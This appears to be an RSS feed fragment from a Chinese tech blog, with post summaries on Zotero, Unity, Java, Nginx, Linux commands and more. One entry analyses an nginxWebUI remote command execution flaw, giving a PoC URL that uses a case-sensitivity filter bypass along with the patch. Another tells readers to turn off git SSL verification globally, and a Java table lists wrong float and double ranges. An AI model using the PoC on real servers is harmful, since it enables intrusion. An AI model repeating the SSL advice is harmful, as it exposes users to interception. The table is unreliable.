      <description>zotero 使用方法总结 前言： zotero 免费开源，功能强大，插件丰富，使用方便。zotero支持多种方式导入文件包括直接拖拽pdf导入文档、DOI、arXiv号或从剪切板导入，同时能够使用sci-hub（文献下载神器）下载参考文献，还可以通过第三方云盘进行备份和同步，非常方便，因此在这里总结自己的使用方法以供参考。&#xA;1. 下载安装Zotero zotero官方下载网址安装方法和普通软件相同，一路点击，选择 安装目录，再安装即可。 2. 下载安装插件 茉莉花(Jasminum)（下载caj时转换成pdf，需要pdftk serve）zotero connector（必装，从网页上抓取文献）Zotfile（批量重命名）zotero SCIHub（自动从sci-hub下载论文）better BibTex（导出Bib格式）PDF-tranlaste（划词翻译）DOI manager（获取文献DOI）Zotero PDF preview（预览pdf）Markdown here（支持markdown）zotero better note（用笔记做思维导图）PDFtk server(帮助操作pdf文件，配合茉莉花使用)zotero reference (获取论文里的参考文献，可以加入文库中)官方插件网址，不一定齐全，可以自行网上找。也可以在zotero中文社区中下载插件，具体可以参考zotero插件中文仓库。 3. 导入文献： 支持从其他文献管理软件如endnote（xml格式）等导入拖拽pdf到zotero支持DOI、arXiv ID、PMID或ISBN导入zotero connector支持自动识别网页并导入可以复制Bibtex参考文献，然后选择 【文件 --&amp;gt;从剪切板导入】 导入到文库中 4. 文献阅读和做笔记 导入文献后，会形成一个个条目，有关文献和附件都会在条目下，打开可以查看pdf文献。&#xA;去重：当导入的文档有重复时可以采用去重来避免混乱。&#xA;在工作区选择 重复条目，可以看到重复的文献，然后点击一个条目，在最右侧可以看到合并选项，这个是按照时间排序的，如下图。左侧是条目不一定是时间排序，要跟添加时间进行确认。&#xA;删掉的条目会移动的回收站，误删的话可以去回收站找回。&#xA;zotero自带pdf阅读器，功能比较简单，但是做笔记基本够用。包括高亮、笔记、选取区域和颜色。&#xA;安装插件后，选中单词和句子即可自动翻译&#xA;选择颜色进行高亮，高亮文本会在左侧保存成笔记，可以添加标签。高亮无法添加笔记，但是双击高亮文本可以编辑，与笔记效果相同。&#xA;选择区域可以添加评论，即笔记。&#xA;笔记可以整理和导出。&#xA;5. 参考文献格式【GBT 7714】 官方自带很多模板，可以搜索需要的格式模板。同时可以安装从网上下载的模板（cls格式文件），或者自定义模板。国内很多会用GB/T 7714，有时会导致中英文作者超过3个后都会显示为“等”的问题，修改方法参考：(Zotero修改英文文献的“等”为“et al”_陈嘿萌的博客-CSDN博客)&#xA;Note：如果英文不能正确识别，还是会显示为“等”，将文献信息中国的语言属性改成“en”即可正确识别，再次感谢博客作者。&#xA;6. 插入参考文献 插入参考文献时需要保持zotero打开状态&#xA;打开word文档，会显示zotero加载项，如果没有的话，请在word 文件-选项-加载项中打开。下面1表示在文档中插入引用，2表示在光标位置处插入参考文献详细信息，3可以选择引用的格式，4为刷新，5为断开连接。当确定文档完成后就可以断开zotero连接，断开连接后再插入参考文献不会自动更新，建议备份。&#xA;在插入引用（上面图像中1）时，会弹出方框，搜索要插入的文献，建议选择经典模式（在首选项–引用中设置，如图），可以选择或搜索文献。单一来源只能选择一条文献，多于一条时会选择最后一条；当引用多于1条文献时，要选择多重来源，选好以后，可以调整文献顺序，然后点击确定就可以插入文献了。&#xA;7. RSS订阅 zotero支持期刊RSS订阅。在新建订阅中，选择来自URL（我用的这种，也可以选择OPML），然后在URL中添加订阅网址即可，如下图。&#xA;如何找到RSS订阅网址&#xA;首先找到期刊，例如IEEE Transaction on Instrumentation and measurement, 如下图。然后找的RSS订阅标志，类似wifi的标志。鼠标点击后，可以打开一个网址，里面是一些英文，然后将网址复制（格式为xxx.XML）到上一步中的URL处，保存即可。然后工作区会出现订阅的期刊，点击会出现本期文章。</description>
    </item>
    <item>
      <title>SSL certificate problem: unable to get local issuer certificate解决办法</title>
      <link>https://bchobby.github.io/posts/3ed8ac2a9274e1fa4da526190159fb01/</link>
      <pubDate>Fri, 18 Aug 2023 21:33:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ed8ac2a9274e1fa4da526190159fb01/</guid>
      <description>在github上用https克隆代码时报了如下错误&#xA;fatal: unable to access &#39;https://github.com/xiaogao67/gin-cloud-storage.git/&#39;: SSL certificate problem: unable to get local issuer certificate 这是由于当你通过HTTPS访问Git远程仓库的时候，如果服务器上的SSL证书未经过第三方机构认证，git就会报错。原因是因为未知的没有签署过的证书意味着可能存在很大的风险。解决办法就是通过下面的命令将git中的sslverify关掉：&#xA;git config --global http.sslverify false 然后在执行克隆操作就成功了。</description>
    </item>
    <item>
      <title>rollup工具打包报错问题汇总</title>
      <link>https://bchobby.github.io/posts/45552fbe7dfab52afc3048d871904397/</link>
      <pubDate>Fri, 18 Aug 2023 17:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45552fbe7dfab52afc3048d871904397/</guid>
      <description> 1. (!) `this` has been rewritten to `undefined`&#xA;原因：这是因为打包后没有给this指向window，导致this undefined，因此需要配置context参数来指定代码执行环境的参数为window&#xA;解决：rollup.config.js文件中添加配置&#xA;module.exports = [ { input: &#39;src/index.ts&#39;, output: [ ... ], // 用来指定代码执行环境的参数，解决this执行undefined问题 context: &#39;window&#39; } ]; </description>
    </item>
    <item>
      <title>Java-基础数据类型在内存中存储方式</title>
      <link>https://bchobby.github.io/posts/3afed5f06b0d7fdc0ec03ee4cc870855/</link>
      <pubDate>Fri, 18 Aug 2023 17:04:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3afed5f06b0d7fdc0ec03ee4cc870855/</guid>
      <description>首先8bit=1byte,内存地址一般以16进制表示（另:书面上的存储位置一般以h结尾，问就是我刷题刷到了)&#xA;1. 常量存储 存在JVM虚拟栈区，一般在栈帧的的局部变量区域，基本固定类型&#xA;序号数据类型数据名称字节(byte)位数(bit）默认值取值范围取值范围举例说明1byte位180-2^7,2^7-1-128~127byte b=102short短整数2160-2^15,2^15-1’-32768~32767short s=103int整数4320-2^31,2^31-1-2147483648~2147483647int i=104long长整数8640-2^63,2^63-1‘-9223372036854774808~9223372036854774807long l=10L5float单精度4320.0-2^31,2^31-1-2147483648~2147483647float f=10.0f6double双精度8640.0-2^63,2^63-1‘-9223372036854774808~9223372036854774807double d=10.0d7char字符216空0,2^16-10~32767char c=&#39;c&#39;8boolean布尔值18FALSEtrue,falseboolean b=false 2. 字符串对象存储 但是生成的字符串变量存储在栈帧中局部变量的位置，如果是new字符串生成的对象，则存放在堆区。</description>
    </item>
    <item>
      <title>Unity框架学习--资源管理器</title>
      <link>https://bchobby.github.io/posts/3a4dc0f132dcfc47e97fe0d8d6be5fe7/</link>
      <pubDate>Fri, 18 Aug 2023 16:49:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a4dc0f132dcfc47e97fe0d8d6be5fe7/</guid>
      <description>资源加载方案 1、Inspector窗口拖拽&#xA;在脚本中用public声明变量，然后在Inspector窗口把要加载的资源拖拽给该脚本的变量。&#xA;不建议在大型项目使用。在公司的项目也不要用。&#xA;如果你是独立游戏开发者，则可以用。&#xA;不支持热更新。&#xA;2、Resources&#xA;用Resources.Load方法、Resources.LoadAsync方法、Resources.LoadAll方法来加载资源。&#xA;可以在商业项目使用，包括公司的项目。但是Resources文件夹中可以存放的资源有限，大概只能存储2G左右的资源，因此要谨慎使用。&#xA;不支持热更新。&#xA;3、AssetBundle&#xA;用AssetBundle.LoadFromXXX方法来加载资源。&#xA;商业项目常用的资源加载方案，如果你在公司做项目，则推荐用这种方式来加载资源。&#xA;效率比Resources加载高，占用内存小，正式发布游戏后，资源所占用的空间也小。&#xA;支持热更新。&#xA;4、Addressables（可寻址资源系统）&#xA;可以理解为高级的AssetBundle，资源管理由Unity内部自动完成。&#xA;但是目前还在发展中，可能有bug。主流的商业游戏都是使用AssetBundle来做资源加载的。&#xA;支持热更新。&#xA;5、AssetDatabase&#xA;用AssetDatabase.LoadAssetAtPath方法来加载资源。&#xA;仅限于编辑器模式，主要用于在编辑器模式下用代码更改本地文件。&#xA;游戏运行时不会用这种方案加载资源。&#xA;不支持热更新。&#xA;Resources 动态加载资源 使用前必须在项目中创建一个名叫Resources的文件夹，这个名字是固定的。&#xA;在一个项目可以创建多个名叫Resources的文件夹，它们可以放在Assets文件夹中的任意位置，使用Resources的方法加载时，将对每个Resources文件夹进行查找。&#xA;注意：如果一个项目中有多个Resources文件夹，则应确保里面的文件的相对路径不重复，如果重复，则使用Resources.Load方法加载时，只会加载找到的第一个该名字的文件。&#xA;在同一个文件夹中，文件名不要重名，如果实在要重名，则加载时要使用泛型加载指定的类型。&#xA;使用Resources.Load或者Resources.LoadAll加载时，路径是从Resources文件夹里面的文件夹开始的，例如Resources文件夹里有一个Audio文件夹，Audio文件夹里面也有一个Music文件夹，Music文件夹有一个叫做Song的.mp3文件，则路径是&#34;Audio/Music/Song&#34;&#xA;路径中的文件名末尾一定不要写后缀，写了后缀反而加载不成功。&#xA;路径可以用反斜杠来写。&#34;Audio/Music/Song&#34;可以写成：&#xA;&#34;Audio\\Music\\Song&#34;&#xA;或者&#xA;@&#34;Audio\Music\Song&#34;&#xA;不建议路径用反斜杠来写，建议统一都用正斜杠来写。&#xA;Resources.Load(string 要加载的资源的路径)&#xA;返回值是Object型。&#xA;同步加载Resources文件夹中的资源。&#xA;如果有多个相同路径的资源，则只会返回找到的第一个资源。&#xA;Resources.Load(string 要加载的资源的路径, System.Type 要加载的资源的类型的Type对象)&#xA;返回值是Object型。&#xA;同步加载Resources文件夹中的指定类型的资源。&#xA;如果有多个相同类型，且相同路径的资源，则只会返回找到的第一个资源。&#xA;或者使用函数重载指定类型：&#xA;GameObject go = Resources.Load(&#34;Prefabs/Cube&#34;,typeof(GameObject)) as GameObject;&#xA;Resources.Load&amp;lt;要加载的资源的类型&amp;gt;(string 要加载的资源的路径)&#xA;返回值是要加载的资源的类型。&#xA;同步加载Resources文件夹中的指定类型的资源。&#xA;如果有多个相同类型，且相同路径的资源，则只会返回找到的第一个资源。&#xA;Resources.LoadAll(string 要加载的资源的文件夹路径或文件路径)&#xA;返回值是Object[]型。&#xA;同步加载Resources文件夹中指定路径的文件夹中的所有资源，包括其中子孙文件夹中的所有资源，然后返回到一个Object[]型数组。&#xA;如果该路径是一个文件，则只会加载该文件，并返回到一个Object[]型数组。&#xA;如果没有加载到任何资源，则返回一个没有任何元素的Object[]型数组。&#xA;Resources.LoadAll(string 要加载的资源的文件夹路径或文件路径,System.Type 要加载的资源的类型的Type对象)</description>
    </item>
    <item>
      <title>计算机毕业设计springboot社区疫情防控管理系统372989[附源码]</title>
      <link>https://bchobby.github.io/posts/fddcbea784cc35f4100e8599fc51bcb7/</link>
      <pubDate>Fri, 18 Aug 2023 16:10:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fddcbea784cc35f4100e8599fc51bcb7/</guid>
      <description>本项目包含程序+源码+数据库+LW+调试部署环境，文末可获取一份本项目的java源码和数据库参考。&#xA;系统的选题背景和意义 选题背景： 随着全球范围内新型冠状病毒的爆发，疫情防控成为当今社会最重要的议题之一。在这样的背景下，开发一款基于Spring Boot的社区疫情防控管理系统具有重要意义。该系统旨在通过信息化手段提供高效、准确的疫情数据管理和防控措施推广，以支持社区居民和相关部门在疫情期间的工作和生活。&#xA;选题意义： 首先，社区疫情防控管理系统能够提供实时、准确的疫情数据分析和监测功能。通过采集和整理社区居民的健康信息、疫情数据等关键信息，系统可以生成可视化的数据报表和图表，帮助相关部门了解疫情动态，及时制定相应的防控策略。&#xA;其次，该系统还能够提供便捷的疫情信息发布和宣传渠道。社区居民可以通过系统获取最新的疫情通报、防护知识、政府政策等相关信息，从而增强对疫情的认知和防范意识。同时，系统也可以提供在线咨询和问答功能，解答居民对疫情防控的疑问，提供科学、权威的建议。&#xA;此外，社区疫情防控管理系统还可以实现疫苗接种预约和记录管理。系统可以整合疫苗接种点的资源信息，为居民提供在线预约服务，并记录每个居民的接种情况，方便相关部门进行疫苗供应和接种进度的监管和统计。&#xA;综上所述，开发一款基于Spring Boot的社区疫情防控管理系统对于加强社区疫情防控工作、提高社区居民的防护意识和行动能力具有重要意义。&#xA;以上选题背景和意义内容是根据本选题撰写，非本作品实际的选题背景、意义或功能。各位童鞋可参考用于写开题选题和意义内容切勿直接引用。本作品的实际功能和技术以下列内容为准。&#xA;技术栈： 前端Vue：用于构建交互式用户界面。&#xA;后端Java开发语言：使用Java作为后端开发语言。&#xA;Spring Boot框架：作为快速开发框架，替代了SSM框架，提供自动配置、快速构建等功能。&#xA;MySQL 5.7数据库：用于数据存储和管理。&#xA;使用Spring Boot，你可以通过依赖管理和自动配置来减少手动配置工作，并使用Spring框架的各种功能，如依赖注入、面向切面编程等。同时，Spring Boot还提供了用于构建RESTful API、集成测试和部署的工具和插件，使得开发过程更加高效和便捷。&#xA;系统用例分析 社区疫情防控管理系统综合网络空间开发设计要求。目的是将社区疫情防控管理从传统管理方式转换为在网上管理，完成社区疫情防控管理的方便快捷、安全性高、交易规范做了保障，目标明确。社区疫情防控管理系统可以将功能划分为管理员功能和用户功能。&#xA;（1）、管理员关键功能包含个人中心、用户管理、健康上报管理、请假外出管理、行程上报管理、核酸检测点管理、核酸预约管理、疫苗接种点管理、接种预约管理、出入登记管理、疫情资讯管理、交流论坛、留言板、系统管理等进行管理。管理员用例如下：&#xA;图3-1 管理员用例图&#xA;（2）、用户关键功能包含首页、交流论坛、公告资讯、留言板、后台管理、个人中心等进行操作。用户用例如下：&#xA;图3-2 用户用例图&#xA;3.5系统流程分析 3.5.1用户登录流程 要想利用这个软件来进行系统的安全管理，首先需要登录到该软件中。如图3-3所示。&#xA;图3-3登录流程图&#xA;3.5.2添加信息流程 管理员可以添加信息，用户添加可以自己权限内的信息。添加信息流程如图3-4所示。&#xA;图3-4添加信息流程图&#xA;3.5.3修改信息流程 管理员可以修改社区疫情防控信息，用户可以修改自己权限内的信息，首先进入修改信息界面，输入需要修改信息，在系统进行判定为正确和合规后修改成功，并将数据更新至数据库。信息不合法则修改失败，重新输入。修改信息流程图如图3-5所示。&#xA;图3-5修改信息流程图&#xA;3.5.4删除信息流程 管理员可以删除社区疫情防控信息，点击删除按钮，系统会提示是否删除信息，点击确定，则信息被删除，数据库中的信息随之删除，删除信息流程图如图3-6所示。&#xA;图3-6删除信息流程图&#xA;3.6本章小结&#xA;基于springboot的社区疫情防控管理系统从市场、技术、经济、功能等方面分析了系统的功能需求，可以满足用户的社区疫情防控管理需求，帮助用户安全、高效地找到需要的社区疫情防控信息，因此有必要对其进行课题研究。&#xA;第4章　系统设计 系统设计是将被设计对象划分为单个模块进行构建，各个模块相互支持，相互制约，它们的组合是一个完整的系统。通过系统设计，可以最大限度地满足系统的预期目标，明确软件开发的目的。&#xA;4.1系统基本结构设计&#xA;本次系统采用springboot框架集进行开发，springboot框架是一款企业界主流的软件开发框架，其简化了开发流程，大大缩减了软件开发所需的时间提高了软件的响应速度。系统总体结构图如图4-1所示。&#xA;图4-1　系统总体结构图&#xA;4.2数据库设计&#xA;数据库结构设计的好坏直接影响到社区疫情防控管理系统的效率和实现的效果。本系统的数据库采用MySQL数据库，MySQL是一种开放源代码的关系型数据库管理系统，使用最常见的数据库管理语言SQL进行数据库管理。&#xA;4.2.1数据库E-R图设计&#xA;E-R图也可称为实体-联系图，其可以清楚的显示实体与实体之间的关系，是描述概念模型的有效方式，通过各实体间的关系方便数据库结构的设计。以下是本系统主要的实体属性图如下所示。&#xA;用户实体如图4-2所示。&#xA;图4-2用户实体属性图&#xA;健康上报实体如图4-3所示。&#xA;图4-3健康上报实体属性图&#xA;核酸预约实体如图4-4所示。&#xA;图4-4核酸预约实体属性图&#xA;核酸检测点实体如图4-5所示。&#xA;图4-5核酸检测点实体属性图&#xA;疫情资讯实体如图4-6所示。&#xA;图4-6疫情资讯实体属性图&#xA;系统实现 系统实现章节的主要内容是将系统分析和系统设计方案进行实现，按照各个系统角色进行功能介绍，系统实现就是一个真正开始编写的阶段，将前面的分析结果以及设计方案进行实现，最终做出一个符合用户需求的软件系统。</description>
    </item>
    <item>
      <title>python的交互式库Qgrid</title>
      <link>https://bchobby.github.io/posts/f87f8c5123c31fcdcb00b8da94e079dc/</link>
      <pubDate>Fri, 18 Aug 2023 15:51:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f87f8c5123c31fcdcb00b8da94e079dc/</guid>
      <description>目录 Qgrid介绍Qgrid使用Qgrid使用过程中遇到的问题解决方案 Qgrid介绍 在Jupyter notebook中直接读取DataFrame数据，只显示为静态表格的形式，没有类似于excel的筛选等交互式功能。Qgrid作为 Jupyter notebook 组件，可以为我们的 DataFrame 添加交互属性。&#xA;普通的DataFrame数据&#xA;Qgrid显示的DataFrame数据&#xA;Qgrid使用 如何使用Qgrid呢？非常简单，只需要加载qgrid这个模块即可。&#xA;# 直接读取DataFrame数据 import pandas as pd df = pd.read_excel(&#39;tips.xls&#39;) df.head() 显示结果如下：&#xA;# qgrid读取DataFrame数据 import qgrid qgridframe = qgrid.show_grid(df, show_toolbar = True) qgridframe 显示结果如下：&#xA;可以实现数据的筛选、复制、删除和排序，交互式效果更加利于数据初步探索分析。&#xA;Qgrid使用过程中遇到的问题解决方案 1）运行qgrid的代码却不显示结果，也不报错&#xA;原因在于没有在Jupyter notebook没有安装qgrid插件，在Anaconda Prompt中运行代码：&#xA;jupyter nbextension enable --py --sys-prefix qgrid 运行成功没有报错再次运行代码即可显示交互式表格。&#xA;2）安装插件报错&#xA;PermissionError: [Errno 13] Permission denied: ‘D:\anaconda\etc\jupyter\nbconfig\notebook.json’&#xA;原因在于权限访问受限，解决方案为通过管理员权限打开Anaconda Prompt，再次安装插件即可</description>
    </item>
    <item>
      <title>带你掌握Stable Diffution商业级玩法</title>
      <link>https://bchobby.github.io/posts/7371f13e39be64925a4d530c7cb34f32/</link>
      <pubDate>Fri, 18 Aug 2023 13:43:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7371f13e39be64925a4d530c7cb34f32/</guid>
      <description>课程介绍 学习地址 《Stable Diffusion商业级玩法》通过详细讲解AI绘画技巧、实操演示和个性化指导，帮助您从零基础成为绘画高手，帮助您有效推广产品或服务，提升市场份额。教您掌握稳定扩散绘画技巧，开启艺术创作新篇章。</description>
    </item>
    <item>
      <title>常用liunx命令</title>
      <link>https://bchobby.github.io/posts/e5eff498f5e952fb5bff791d653864e5/</link>
      <pubDate>Fri, 18 Aug 2023 09:45:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5eff498f5e952fb5bff791d653864e5/</guid>
      <description>作者写这篇文章,只为记录一些自己办公时常用的Linux命令。后续会持续补充。&#xA;1、删除命令 删除文件夹 ：rmdir 名称 删除文件：rm 名称 批量删除带有文件的文件夹：rm -rf 名称 模糊删除：rm i* 可以结合* 模糊删除rm -rf demo*可以删除所有以demo开头的文件 参数：&#xA;-f 强制删除&#xA;-i默认删除方式，交互式删除会询问你是否删除&#xA;-r递归删除（删除文件夹）&#xA;-rf强制递归删除 等价于 -r -f&#xA;2、添加命令 添加文件夹：mkdir 名称 添加文件：touch 名称 3、上传文件 rz 4、下载文件 wget 文件路径/文件名称 sz 文件名称 5、文件复制 cp 文件路径和名称 复制到路径 6、查看日志文件 tail -f 日志文件 cat 日志文件 7、jar包的解压 jar -xvf 解压包.jar 8、jar包的压缩 在jar 解压缩的目录下 输入 jar cvf0M name.jar ./ 9、文件的移动（一个文件移动到另一个文件夹方法） mv 文件名 目标文件夹路径 10、文件的复制（一个文件复制到另一个文件夹方法） cp -r &#34;文件名&#34; &#34;目标文件夹路径&#34; 11、修改文件名称 mv 源文件名称 修改后的名称 12、对.</description>
    </item>
    <item>
      <title>五分钟 了解 Less 及使用</title>
      <link>https://bchobby.github.io/posts/6ab4b0f2572240e23223ec39778eb45d/</link>
      <pubDate>Fri, 18 Aug 2023 09:29:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ab4b0f2572240e23223ec39778eb45d/</guid>
      <description>一、什么是Less预处 CSS预处理定义了一种新的语言;其基本思想是，用一种专门的编程语言，为 CSS 增加了一些编程的特性，将 CSS 作为目标生成文件，然后开发者就只要使用这种语言进行编码工作。&#xA;使用CSS预处理器语言，可以有让CSS更加简洁、适应性更强、可读性更佳，更易于代码的维护等诸多好处。&#xA;Less包含一套自定义的语法及一个解析器，用户根据这些语法定义自己的样式规则，这些规则最终会通过解析器，编译生成对应的 CSS文件，只有在被编译后才能够被浏览器识别使用&#xA;二、预处理编译工具Koala koala是一个前端预处理器语言图形编译工具，支持LesS、SassCompass、CoffeeScript，帮助web开发者更高效地使用它们进行开发。跨平台运行，完美兼容windows、linux、mac。&#xA;这个工具会将less 转换输出成 css&#xA;官网地址：Koala - a gui application for LESS, Sass, Compass and CoffeeScript compilation.&#xA;基本介绍 设置中文 模板介绍 如何使用 添加项目 输出文件 注意事项 1、可以关闭自动保存功能 2、less文件名也不要和其他css重名 自动解析出来的css文件会以less 文件名字相同，如果重名那么生成的css文件就会重名&#xA;三、Less语法 本案例的html部分&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;./css/reset.css&#34;&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt;这是一段文字&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;wrap&#34;&amp;gt; &amp;lt;h3&amp;gt;title&amp;lt;/h3&amp;gt; &amp;lt;div class=&#34;con&#34;&amp;gt; &amp;lt;h3&amp;gt;title&amp;lt;/h3&amp;gt; &amp;lt;p&amp;gt;段落文本&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;段落文本&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;段落文本&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;p&amp;gt;段落 &amp;lt;a href=&#34;</description>
    </item>
    <item>
      <title>面试必备：Nginx的20道高频面试题合集（2023最新）</title>
      <link>https://bchobby.github.io/posts/9f2a76688a0fae48aa7434ce971bc716/</link>
      <pubDate>Fri, 18 Aug 2023 09:24:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f2a76688a0fae48aa7434ce971bc716/</guid>
      <description>文章目录 一、关于Nginx二、写本篇文章的目的三、Nginx核心面试知识点20题3.1 Nginx和Apache有什么区别3.2 如何安装Nginx3.3 Nginx有哪些配置文件？3.4 Nginx有哪些命令，如何重载Nginx配置文件？3.5 如何将Nginx设置为反向代理服务器？3.6 Nginx可以用于负载均衡吗？如何实现？3.7 如何限制特定IP地址或IP地址段的访问？3.8 Nginx如何启用HTTPS（SSL/TLS）支持？3.9 Nginx如何处理静态文件和动态请求？3.10 Nginx如何实现URL重写？3.11 Nginx的工作流程是什么？3.12 Nginx可以缓存静态文件吗？如何配置缓存？3.13 Nginx可以进行内容压缩吗？如何配置？3.14 如何查看Nginx的日志文件？3.15 如何限制同时连接到Nginx的客户端数量？3.16 如何限制某个URL的访问速率？3.17 如何实现HTTP重定向？3.18 如何防止DDoS攻击？3.19 Nginx如何通过IP获取所在国家及地理位置?3.20 Nginx如何监控性能？ 四、总结 一、关于Nginx Nginx是一个开源的高性能的Web服务器和反向代理服务器。其主要特点包括高性能、高并发处理能力、低内存消耗、事件驱动架构、模块化设计以及良好的可靠性和稳定性。它可以处理数千个并发连接，适用于大规模的互联网应用、负载均衡、反向代理以及静态资源缓存等场景。&#xA;Nginx通过使用异步非阻塞的事件驱动模型，有效地避免了传统Web服务器中一个线程只能处理一个请求的缺点。这使得Nginx在高并发情况下能够迅速响应并处理大量的请求。&#xA;二、写本篇文章的目的 ⭐最近我在做一个PHP专栏的面试大集合，Nginx是其中非常重要的一部分，Nginx是目前最流行的Web前端服务器。对于后端、运维、前端都是必须掌握的知识，学会Nginx已经成为一种必须的技能。&#xA;Nginx本身作为服务中间件，有非常明显的优势和特点，学习好它也是非常有助于我们技术视野的提升，前一段时间我大量研究了关于Nginx的面试内容，今天将核心高频的20道面试题整理出来，分享给各位粉丝，读者以及朋友们。&#xA;⭐⭐⭐先收藏，再浏览。⭐⭐⭐&#xA;三、Nginx核心面试知识点20题 3.1 Nginx和Apache有什么区别 Nginx和Apache是两种常见的Web服务器软件，它们在一些方面有着明显的区别。以下是Nginx和Apache的一些主要区别的表格描述：&#xA;区别NginxApache处理方式事件驱动多线程内存消耗低高并发连接高适中静态文件处理能力高适中可用模块少丰富配置灵活性较高较高模块加载方式动态加载静态/动态加载主要应用场景高并发环境、反向代理、负载均衡一般网站、动态内容 具体的特性和性能还取决于实际的配置和使用场景。不过目前来说，Nginx已经成为绝对的主流。&#xA;3.2 如何安装Nginx 下面给出在CentOS上面的安装方式。&#xA;第一步：更新系统软件包&#xA;首先，需要确保系统中的软件包是最新的。打开终端，并使用以下命令执行系统软件包更新：&#xA;sudo yum update 第二步：安装EPEL存储库&#xA;Nginx在CentOS默认软件源中不可用，但可以通过EPEL存储库来获取。使用以下命令安装EPEL存储库：&#xA;sudo yum install epel-release 第三步：安装Nginx&#xA;执行以下命令以安装Nginx：&#xA;sudo yum install nginx 第四步：启动Nginx服务&#xA;安装完成后，可以使用以下命令启动Nginx服务：&#xA;sudo systemctl start nginx 要检查Nginx是否已成功启动，请使用以下命令：&#xA;sudo systemctl status nginx 3.3 Nginx有哪些配置文件？ Nginx具有以下几个重要的配置文件，它们各自位于不同的文件夹下面，具体的配置文件和文件夹路径可能因Nginx版本、操作系统以及自定义设置等因素而有所不同。下面提到的路径是在Linux系统上使用默认安装路径时的常规配置。</description>
    </item>
    <item>
      <title>NginxWEBUI框架RCE任意命令执行漏洞深度分析（含Poc和EXP）</title>
      <link>https://bchobby.github.io/posts/65133bf9d01b815d8abd7ff4589e084a/</link>
      <pubDate>Fri, 18 Aug 2023 02:11:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65133bf9d01b815d8abd7ff4589e084a/</guid>
      <description>一 影响范围 nginxWebUI &amp;lt;= 3.5.0 二 漏洞原理 Payload: http://xxxxxxxxxxxxx/AdminPage/conf/runCmd?cmd=任意命令（需要经过url编码）&#xA;2.1 AppFilter过滤器 框架内所有流量均经过AppFilter过滤器进行过滤，相关代码如下&#xA;可以看到在这里doFilter过滤器过滤了相关含有&#34;/adminPage&#34;的请求，但是与Poc中的不同，此过滤器并没有过滤大小写不一样的，含有&#34;AdminPage&#34;的请求（ADMINPAGE等同理）。那按理说请求到的路径也应该是AdminPage，为什么使用AdiminPage也会转到adminPage一样的请求上呢？&#xA;2.2Spring中@RequestMap的机制 在spring中，经常使用requestmap+controller的方式去获取请求路径，但是这里的请求路径是不区分大小写的，也就是说，你请求AdminPage和请求adminPage是一样的！&#xA;三 Poc分析 3.1参数走向 都说到这里了，Poc分析也就是这样了&#xA;http://xxxxxxxxxxxxx/AdminPage/conf/runCmd?cmd=任意命令（需要经过url编码）&#xA;相关的请求通过AppFilter过滤器，由confController处理相关命令&#xA;可以看到当请求runCmd接受后，并没有再去判断这个请求是否合法，并将结果转化为JSON串直接返回给了前端。&#xA;3.2 漏洞修复 官方已经在最新版的NginxWEBUI修复了这一漏洞，相关的修复代码如下&#xA;在confController层的修复代码如下&#xA;@Mapping(value = &#34;runCmd&#34;) public JsonResult runCmd(String cmd, String type) { if (StrUtil.isNotEmpty(type)) { settingService.set(type, cmd); } // 仅执行nginx相关的命令，而不是其他的恶意命令 if (!isAvailableCmd(cmd)) { return renderSuccess(m.get(&#34;confStr.notAvailableCmd&#34;)); } try { String rs = &#34;&#34;; if (SystemTool.isWindows()) { RuntimeUtil.exec(&#34;cmd /c start &#34; + cmd); } else { rs = RuntimeUtil.</description>
    </item>
    <item>
      <title>Visual Studio 配置远程调试</title>
      <link>https://bchobby.github.io/posts/0c831e79fde9df9d9599c726685f507e/</link>
      <pubDate>Thu, 17 Aug 2023 18:47:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c831e79fde9df9d9599c726685f507e/</guid>
      <description> 1.在Visual Studio安装目录中找到远程调试工具(msvsmon.exe)。 2.将x64文件夹压缩成压缩包，然后拷贝到客户机 3.将pdb文件拷贝到客户机上版本对应的文件夹中。 4. 启动Visual Studio开始进行远程调试 选择“调试”&amp;gt; “附加到进程” </description>
    </item>
    <item>
      <title>【STM32】FreeRTOS事件组学习</title>
      <link>https://bchobby.github.io/posts/19f1982efaeaff101255b221d6da2f0a/</link>
      <pubDate>Thu, 17 Aug 2023 17:39:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19f1982efaeaff101255b221d6da2f0a/</guid>
      <description>事件组（Event Group）&#xA;一个任务执行之前需要经过多个条件进行判断，当条件全部满足或多个条件中的某一个条件满足才执行。&#xA;实验：创建两个任务，一个事件组，当按键一二三都按过一遍才打印。&#xA;实现：FreeRTOS在CubeMX中使用V1版本的时候，没法设置Events，必须手动添加，或者是使用V2版本。&#xA;这里使用V1版本，在【STM32】FreeRTOS互斥量学习基础上修改代码实现&#xA;第一步：创建事件组&#xA;/* USER CODE BEGIN FunctionPrototypes */ //创建事件组 EventGroupHandle_t myEventGroup=NULL; /* USER CODE END FunctionPrototypes */ 第二步，初始化&#xA;void MX_FREERTOS_Init(void) { /* USER CODE BEGIN Init */ //事件组初始化 myEventGroup=xEventGroupCreate( ); xEventGroupClearBits(myEventGroup,0X000); /* USER CODE END Init */ /* Create the thread(s) */ /* definition and creation of Task1 */ osThreadDef(Task1, StartDefaultTask, osPriorityNormal, 0, 128); Task1Handle = osThreadCreate(osThread(Task1), NULL); /* definition and creation of 